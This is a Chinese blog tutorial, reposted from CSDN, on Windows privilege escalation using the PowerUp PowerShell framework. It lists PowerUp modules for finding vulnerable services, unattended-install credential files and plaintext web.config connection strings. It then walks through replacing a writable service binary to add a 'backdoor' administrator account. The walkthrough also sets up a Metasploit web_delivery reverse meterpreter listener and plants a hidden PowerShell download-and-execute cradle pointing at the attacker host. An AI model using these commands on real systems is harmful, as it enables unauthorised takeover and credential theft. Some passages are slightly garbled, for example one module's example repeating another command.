Powershell 提权框架-Powerup——平心而论,这个提权工具还是很好用的,看后面实战例子
原文:https://blog.csdn.net/qq_27446553/article/details/50511373
提权是行不通的,这个时候,我们就需要通过脆弱的Windows服务提权,比如我们替换掉服务所依赖的DLL文件,当服务重启时,加载我们替换的DLL文件从而完成比如添加管理员账号的操作。或者通过常见的Mssql,Mysql等服务,通过其继承的系统权限来完成提权等等,而今天我将介绍一个非常实用的Powershell框架-Powerup,此框架可以在内核提权行不通的时候,帮助我们寻找服务器脆弱点进而通过脆弱点实现提权的目的。
Powerup,之后加载此脚本:
| 1 2 |
E:> powershell.exe -nop - exec bypass
PS E:\> Import-Module .\PowerUp.psm1
|
加载完成以后,便可以使用Powerup中的所有模块了。
通过如下命令可以查看所有模块:
| 1 |
PS E:\> Get-Command -Module powerup
|

输入可以通过tab键来自动补全,如果要查看各个模块的详细说明,可以使用"Get-help [cmdlet] -full"来查看,比如"Get-Help Find-DLLHijack -full", 如果要将输出的结果导出到一个文件可以使用Out-File,如下:
| 1 |
PS E:\> Invoke-AllChecks | Out-File -Encoding ASCII checks.txt
|
上述命令使用了Invoke-AllChecks,脚本将会进行所有的检查
在cmd环境下,可以使用下列方式来运行该脚本:
| 1 |
E:\> powershell.exe - exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"
|
如果你想在内存加载此脚本,可以用下列方式:
| 1 |
E:\> powershell -nop - exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://dwz.cn/2vkbfP'); Invoke-AllChecks"
|
除此之外,Metasploit上同样包含执行powershell脚本的模块exec_powershell.rb,通过此模块,可以通过msf会话来执行powershell。
windows_autologin.rb模块相同。
执行方式:
| 1 |
PS C:\> Get-RegAutoLogon
|
Get-ServiceDetail
返回某服务的信息。
执行方式:
| 1 |
PS C:\> Get-ServiceDetail -ServiceName Dhcp #获取DHCP服务的详细信息
|

Get-ServiceFilePermission
检查当前用户能够在哪些服务的目录写入相关联的可执行文件,通过这些文件可达到提权的目的。
执行方式:
| 1 |
PS C:\> Get-ServiceFilePermission
|

Get-ServicePermission
检查所有可用的服务,并尝试对这些打开的服务进行修改,如果可修改,则返回该服务对象。
执行方式:
| 1 |
PS C:\> Get-ServicePermission
|
Get-ServiceUnquoted
检查服务路径,返回包含空格但是不带引号的服务路径,类似于msf的trusted_service_path.rb。
此处利用的windows的一个逻辑漏洞,即当文件包含空格时,windows API会解释为两个路径,并将这两个文件同时执行,有些时候可能会造成权限的提升。
比如
C:\program files\hello.exe,会被解释为C:\program.exe以及C:\program files\hello.exe
执行方式:
| 1 |
PS C:\>Get-ServiceUnquoted
|

Get-UnattendedInstallFile
检查几个路径,查找是否存在这些文件,在这些文件里可能包含有部署凭据。这些文件包括:
- c:\sysprep\sysprep.xml
- c:\sysprep\sysprep.inf
- c:\sysprep.inf
- c:\windows\Panther\Unattended.xml
- c:\windows\Panther\Unattend\Unattended.xml
- c:\windows\Panther\Unattend.xml
- c:\windows\Panther\Unattend\Unattend.xml
- c:\windows\System32\Sysprep\unattend.xml
- c:\windows\System32\Sysprep\Panther\unattend.xml
执行方式:
| 1 |
PS C:\> Get-UnattendedInstallFile
|
Get-VulnAutoRun
检查开机自启的应用程序路径和注册表键值,返回当前用户可修改的程序路径。
注册表检查的键值为:
| 1 2 3 4 5 6 7 8 |
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceService
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunService
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceService
|
执行方式:
| 1 |
PS C:\> Get-VulnAutoRun
|
Get-VulnSchTask
返回当前用户能够修改的计划任务程序的名称和路径。
执行方式:
| 1 |
PS C:\> Get-VulnSchTask
|
Get-Webconfig
返回当前服务器上的web.config文件中的数据库连接字符串的明文。
执行方式:
| 1 2 |
PS C:\>get-webconfig
PS C:\>get-webconfig | Format-Table -Autosize #列表显示
|
Invoke-AllChecks
执行所有的脚本来检查。
执行方式:
| 1 |
PS C:\> Invoke-AllChecks
|

Invoke-Service
- Invoke-ServiceDisable 禁用服务
- Invoke-ServiceEnable 启用服务
- Invoke-ServiceStart 启动服务
- Invoke-ServiceStop 停止服务
执行方式为:
| 1 |
PS C:\> Invoke-ServiceDisable -ServiceName 服务名称。
|
- Invoke-ServiceAbuse
用来通过修改服务添加用户到指定组,并可以通过定制-cmd参数触发添加用户的自定义命令。
执行方式:
| 1 2 3 4 |
PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC # 添加默认账号
PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName "TESTLAB\john" # 指定添加域账号
PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName backdoor -Password password -LocalGroup "Administrators" # 指定添加用户,用户密码以及添加的用户组。
PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC -Command "net ..." # 自定义执行命令
|
默认的账号可以通过修改默认参数来修改,如下图:

Restore-ServiceBinary
恢复服务的可执行文件到原始目录。
执行方式:
| 1 |
PS C:\> Restore-ServiceBinary -ServiceName VulnSVC
|
Test-ServiceDaclPermission
检查某个用户是否在一个服务有自由访问控制的权限,返回true或false。
执行方式:
| 1 |
PS C:\> Restore-ServiceBinary -ServiceName VulnSVC
|
Write-HijackDll
输出一个自定义命令并且能够自删除的bat文件到$env:Temp\debug.bat,并输出一个能够启动这个bat文件的dll。
执行方式:
| 1 |
PS C:\> Write-HijackDll -OutputFile 'E:\temp\test.dll' -Command 'whoami'
|

Write-UserAddMSI
生成一个安装文件,运行这个安装文件,则弹出添加用户的框。
执行方式:
| 1 |
PS C:\> Write-UserAddMSI
|
Write-ServiceBinary
预编译C#服务的可执行文件。默认创建一个默认管理员账号。可通过Command定制自己的命令。
执行方式:
| 1 2 3 4 |
PS C:\> Write-ServiceBinary -ServiceName VulnSVC # 添加默认账号
PS C:\> Write-ServiceBinary -ServiceName VulnSVC -UserName "TESTLAB\john" # 指定添加域账号
PS C:\> Write-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password Password123! # 指定添加用户,用户密码以及添加的用户组。
PS C:\> Write-ServiceBinary -ServiceName VulnSVC -Command "net ..." # 自定义执行命令
|
Install-ServiceBinary
通过Write-ServiceBinary写一个C#的服务用来添加用户。
执行方式:
| 1 2 3 4 |
PS C:\> Install-ServiceBinary -ServiceName DHCP
PS C:\> Install-ServiceBinary -ServiceName VulnSVC -UserName "TESTLAB\john"
PS C:\> Install-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password Password123!
PS C:\> Install-ServiceBinary -ServiceName VulnSVC -Command "net ..."
|
Write-ServiceBinary与Install-ServiceBinary不同的是前者生成可执行文件,后者直接安装服务。
0x03 实战提权
测试环境为win10。平常用的虚拟机,并没有特意去配置存在漏洞的环境,所以并不是所有的模块均可以使用。实际测试可以根据实际环境来调整。此次测试并未使用内核漏洞来提权。
首先添加低权限测试账号,使用管理员身份运行cmd,添加测试账号:
| 1 |
C:\Windows\system32>net user powerup 1 /add
|
查看powerup账号权限:

使用powerup账号登陆系统,加载Powerup:

执行Invoke-AllChecks:
| 1 |
PS E:\> Invoke-AllChecks
|
执行以后找到下列问题:
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
[*] Checking for unquoted service paths...
ServiceName : CDROM_Detect
Path : C:\Program Files\4G USB Modem\4G_Eject.exe
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -ServiceName 'CDROM_Detect' -Path
ServiceName : hMailServer
Path : C:\Program Files (x86)\hMailServer\Bin\hMailServer.exe RunAsService
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -ServiceName 'hMailServer' -Path
[*] Checking service executable and argument permissions...
ServiceName : wampapache
Path : "c:\wamp\bin\apache\apache2.2.17\bin\httpd.exe" -k runservice
ModifiableFile : c:\wamp\bin\apache\apache2.2.17\bin\httpd.exe
StartName : LocalSystem
AbuseFunction : Install-ServiceBinary -ServiceName 'wampapache'
ServiceName : wampmysqld
Path : c:\wamp\bin\mysql\mysql5.5.8\bin\mysqld.exe wampmysqld
ModifiableFile : c:\wamp\bin\mysql\mysql5.5.8\bin\mysqld.exe
StartName : LocalSystem
AbuseFunction : Install-ServiceBinary -ServiceName 'wampmysqld'
|
可以看出,Powerup列出了可能存在问题的服务,并在AbuseFunction中给了接下来的利用方式。在上面两个利用点可以看出,unquoted service paths中给出了两个路径带空格的文件路径,但是因为其在c盘,没有权限,所以并不能被我们利用来提权。而第二个检查通过Get-ServiceFilePermission找到两个当前用户可以写入相关联可执行文件的路径,我们就可以通过这个来进行提权。在AbuseFunction那里已经给了我们操作方式,接下来我们执行如下操作:
| 1 |
PS E:\> Install-ServiceBinary -ServiceName 'wampapache' -UserName rockyou -Password 123
|

之后当管理员运行该服务的时候,则会添加我们的账号,运行前:

运行服务以后:

查看该账号权限:

当然,除了添加账号,我们同样可使用msf获得meterpreter会话。
使用web_delivery 模块开启监听:
| 1 2 3 4 5 6 7 8 9 10 11 12 13 |
msf > use exploit /multi/script/web_delivery
msf exploit(web_delivery) > set URIPATH /
URIPATH => /
msf exploit(web_delivery) > set lport 8888
lport => 8888
msf exploit(web_delivery) > set target 2
target => 2
msf exploit(web_delivery) > set payload windows /meterpreter/reverse_tcp
payload => windows /meterpreter/reverse_tcp
msf exploit(web_delivery) > set SRVPORT 8080
SRVPORT => 8080
msf exploit(web_delivery) > set LHOST 192.168.74.1
msf exploit(web_delivery) > exploit
|
执行如下命令:
| 1 |
PS E:\> Install-ServiceBinary -ServiceName 'wampapache' -Command "powershell.exe -nop -w hidden -c `$m=new-object net.webclient;`$m.proxy=[Net.WebRequest]::GetSystemWebProxy();`$m.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX `$m.downloadstring('http://192.168.74.1:8080/');"
|
要注意
$符号前面要加`来转义
当管理员运行此服务以后则获取高权限的meterpreter会话

提权以后,使用Restore-ServiceBinary 恢复文件:
| 1 |
PS E:\> Restore-ServiceBinary -ServiceName 'wampapache'
|

可以看到,我们使用powerup成功提权了。当然碰到实际的环境可以根据不同环境不同方式来进行提权。
0x05 小结
Powerup提供了一些我们并不常见的提权方式,并且为我们的Windows提权提供了极大的方便,如果碰到未安装Powershell的计算机,可以详细参考Powerup里面的函数实现过程来通过别的方式来实现同样的效果,希望本文对你有帮助。